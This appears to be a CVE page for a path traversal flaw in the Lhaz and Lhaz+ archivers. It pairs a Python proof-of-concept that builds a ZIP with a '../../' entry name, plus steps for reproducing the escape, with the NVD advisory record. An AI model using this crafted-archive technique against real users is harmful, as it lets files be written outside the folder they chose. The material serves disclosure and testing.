CVE-2026-41530

import zipfile import os # Create a malicious ZIP file to demonstrate the path traversal # This script creates a zip file containing a file that tries to escape the extraction folder. def create_malicious_zip(filename, malicious_filename): """ Creates a zip file with a file that has a path traversal name. """ with zipfile.ZipFile(filename, 'w') as zf: # The file name contains '../' to traverse directories zf.writestr(malicious_filename, b'This is a malicious payload content.') print(f"Created malicious zip file: {filename}") print(f"Inside file name: {malicious_filename}") if __name__ == "__main__": # Example payload file name that attempts to write to the parent directory payload_name = "../../malicious_payload.txt" output_zip = "exploit_cve_2026_41530.zip" create_malicious_zip(output_zip, payload_name) # Instructions: # 1. Run this script to generate 'exploit_cve_2026_41530.zip'. # 2. Open Lhaz or Lhaz+ with 'Automatic Folder Creation' enabled. # 3. Extract the generated zip file. # 4. Observe that 'malicious_payload.txt' is created outside the extraction folder.

{"cve": {"id": "CVE-2026-41530", "sourceIdentifier": "[email protected]", "published": "2026-05-12T06:16:09.073", "lastModified": "2026-05-12T06:16:09.073", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The automatic folder creation feature of Lhaz and Lhaz+ provided by Chitora soft contains a path traversal vulnerability. When the affected product is configured with the automatic folder creation feature enabled, and a product user tries to extract an archive file which has a crafted file name, then the archived files may be extracted to an unexpected folder."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN68350834/", "source": "[email protected]"}, {"url": "https://www.chitora.com/jvn68350834.html", "source": "[email protected]"}]}}